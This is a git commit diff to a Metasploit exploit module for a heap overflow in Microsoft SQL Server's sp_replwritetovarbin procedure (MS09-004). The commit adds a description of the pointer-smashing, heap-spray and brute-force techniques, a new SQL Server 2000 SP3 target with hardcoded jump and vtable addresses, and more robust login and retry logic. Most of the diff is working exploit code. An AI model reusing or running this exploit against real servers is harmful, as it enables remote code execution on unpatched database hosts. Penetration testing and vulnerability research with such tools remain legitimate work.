added description, sql2ksp3 target, minor reliability improvement

git-svn-id: file:///home/svn/framework3/trunk@8067 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-01-04 22:07:03 +00:00
parent 58cfcd99f8
commit 9a9c92d785
1 changed files with 65 additions and 14 deletions

View File

@ -21,8 +21,41 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
'Description' => %q{
TODO:
write description
A heap-based buffer overflow can occur when calling the undocumented
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
This exploit smashes several pointers, as shown below.
1. pointer to a 32-bit value that is set to 0
2. pointer to a 32-bit value that is set to a length influcenced by the buffer
length.
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
displacement is 0x10. The address of our buffer is conveniently stored in
ecx when this instruction is executed.
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
a displacement of 4. This pointer is not used by this exploit.
There are two different methods used by this exploit, which have been named
"writeNcall" and "sprayNbrute".
The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers
2 and 3, as well as a writeable address. This method is quite reliable. However,
it relies on the the operation on pointer 2. Newer versions of SQL server
(>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a
restriction that the code address that leads to the payload (jmp ecx in this
case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such
addresses were found in memory.
For this reason, the second method, "sprayNbrute" is used. First a heap-spray
is used to prime memory with lots of copies of the address of our code that
leads to the payload (jmp ecx). Next, brute force is used to try to guess a
value for pointer 3 that points to the sprayed data.
A new method of spraying the heap inside MSSQL is presented. Sadly, it only
allows the creation of a bunch of 8000 byte buffers.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
@ -42,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' =>
{
'Space' => 512,
'BadChars' => "",
'BadChars' => "", # nul bytes are ok!
'StackAdjustment' => -3500,
'DisableNops' => true
},
@ -67,6 +100,17 @@ class Metasploit3 < Msf::Exploit::Remote
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)
},
],
[
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
# Dec 17 2002 14:22:05
'MSSQL 2000 / MSDE SP3 (8.00.760)',
{
'Method' => 'sprayNbrute',
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3)
},
],
[
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
# May 3 2005 23:18:38
@ -121,6 +165,7 @@ class Metasploit3 < Msf::Exploit::Remote
# TODO: add more versions
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
return Exploit::CheckCode::Safe
@ -137,10 +182,12 @@ class Metasploit3 < Msf::Exploit::Remote
if (version =~ /8\.00\.194/)
mytarget = targets[1]
elsif (version =~ /8\.00\.2039/)
elsif (version =~ /8\.00\.760/)
mytarget = targets[2]
elsif (version =~ /9\.00\./)
elsif (version =~ /8\.00\.2039/)
mytarget = targets[3]
elsif (version =~ /9\.00\./)
mytarget = targets[4]
end
if mytarget.nil?
@ -238,16 +285,16 @@ exec master..sp_executesql @buf
def exploit_spray_and_brute(mytarget)
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
brute_count = 1000
brute_step = 4096
spray = true
if spray
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])
# spray the heap! (count of 'max' blocks of 8000 bytes...)
@ -275,6 +322,8 @@ exec master..sp_executesql @buf
break if not mssql_query(runme)
end
disconnect
end
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
@ -317,17 +366,19 @@ exec master..sp_executesql @buf
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)
# go!
if (not mssql_login_datastore)
raise RuntimeError, "Unable to log in!"
end
begin
mssql_query(runme)
rescue ::Errno::ECONNRESET
print_error("connection reset!")
if (not mssql_login_datastore)
raise RuntimeError, "Unable to re-login!"
end
rescue ::Errno::ECONNRESET, EOFError
print_error("Oh no, lost connection!")
end
handler
break if session_created?
disconnect
end
end